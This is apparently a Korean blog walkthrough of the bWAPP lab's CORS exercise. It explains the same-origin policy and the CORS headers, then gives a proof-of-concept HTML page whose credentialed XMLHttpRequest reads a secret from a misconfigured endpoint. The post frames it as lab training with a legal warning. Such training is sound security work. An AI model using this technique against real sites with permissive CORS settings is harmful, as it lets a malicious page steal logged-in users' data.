이 도구를 이용하여 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다.
A5 - Cross-Origin Resource Sharing (AJAX)
Ajax(Asynchronous JavaScript and XML)란 빠르게 동작하는 동적인 웹 페이지를 만들기 위한 개발 기법의 하나입니다. 웹 페이지 전체를 다시 로딩하지 않고도, 웹 페이지의 일부분만을 갱신할 수 있습니다. 즉 Ajax를 이용하면 백그라운드 영역에서 서버와 통신하여, 그 결과를 웹 페이지의 일부분에만 표시할 수 있습니다.
SOP (동일 출처 정책 same-origin policy)는 웹 애플리케이션의 중요한 보안 모델입니다.
동일 출처 정책은 주로 스크립트로부터의 데이터 접근에 적용됩니다. 즉, 일치하는 HTML 태그를 경유하는 이미지, CSS, 스크립트 등 출처를 경유하여 리소스를 가져와 보여주는 것은 제한되지 않습니다.
CORS (교차 출처 리소스 공유 Cross-origin resource sharing) 교차 출처 자원 공유는 웹 페이지 상의 제한된 리소스를 최초 자원이 서비스된 도메인 밖의 다른 도메인으로부터 요청할 수 있게 허용하는 구조입니다. 웹페이지는 교차 출처 이미지, 스타일시트, 스크립트, iframe, 동영상을 자유로이 가져와 보여줄 수 있습니다.
헤더
CORS 관련 HTTP 헤더는 다음과 같습니다.
요청 헤더
Origin
Access-Control-Request-Method
Access-Control-Request-Headers
응답 헤더
Access-Control-Allow-Origin
Access-Control-Allow-Credentials
Access-Control-Expose-Headers
Access-Control-Max-Age
Access-Control-Allow-Methods
Access-Control-Allow-Headers
sm_cors.php 페이지를 확인해 보면 "악의적인 사이트에서 AJAX 요청을 사용하여 Neo의 비밀을 훔치려고 합니다."라는 메시지를 확인할 수 있습니다.
버프스위트를 통하여 패킷을 확인
Access-Control-Allow-Origin: * - 모든 도메인에 대한 AJAX 요청 허용
이제 취약점을 확인하기 위해 HTML을 작성하고 요청이 되는지 확인해 보도록 하겠습니다.
<!DOCTYPE html>
<html>
<head>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
alert(this.responseText);
}
};
xhttp.open("GET", "http://localhost/bWAPP/secret-cors-1.php", true);
xhttp.withCredentials = true;
xhttp.send();
};
</script>
</head>
<body onload="cors()">
<h2>Security Code CORS</h2>
<h3>bee-box NEO's secret</h3>
</body>
</html>
HTML을 작성 하였고 테스트를 진행해 보겠습니다. xhttp.open 부분의 경로는 저와 다를 수 있으며 비박스의 경로로 맞춰 주시기 바랍니다. 해당 파일은 CORS.html로 저장을 하였습니다.
URL 접근시 Neo의 비밀을 확인할수 있었습니다. 이처럼 보안설정이 잘못된 경우 악의 적인 사이트를 만들어 정보를 수집할수 있으며, 2차 공격이 가능하다는걸 알수 있습니다. 저는 테스트시 같은 경로에서 테스트를 하였지만, 웹서버를 하나 더 올려서 테스트를 해보시길 추천드립니다. 이는 Access-Control-Allow-Origin: * - 모든 도메인에 대한 AJAX 요청 허용으로 설정이 되어 있기 때문에 다른 도메인에서 요청을 하더라도 값을 확인할 수 있습니다.
참고
https://infosecwriteups.com/stealing-user-details-by-exploiting-cors-c5ee86ebe7fb
https://ko.wikipedia.org/wiki/%EB%8F%99%EC%9D%BC-%EC%B6%9C%EC%B2%98_%EC%A0%95%EC%B1%85
'Code::Security > 비박스(BWAPP)' 카테고리의 다른 글
비박스(bWAPP) A5 Denial-of-Service (Large Chunk Size) (0) | 2022.09.07 |
---|---|
비박스(bWAPP) A5 Cross-Site Tracing (XST) (0) | 2022.09.07 |
비박스(bWAPP) A5 Cross-Domain Policy File (Flash) (0) | 2022.09.05 |
비박스(bWAPP) A5 Arbitrary File Access (Samba) (0) | 2022.09.05 |
비박스(bWAPP) A5 Security Misconfiguration (보안 설정 오류) (0) | 2022.09.05 |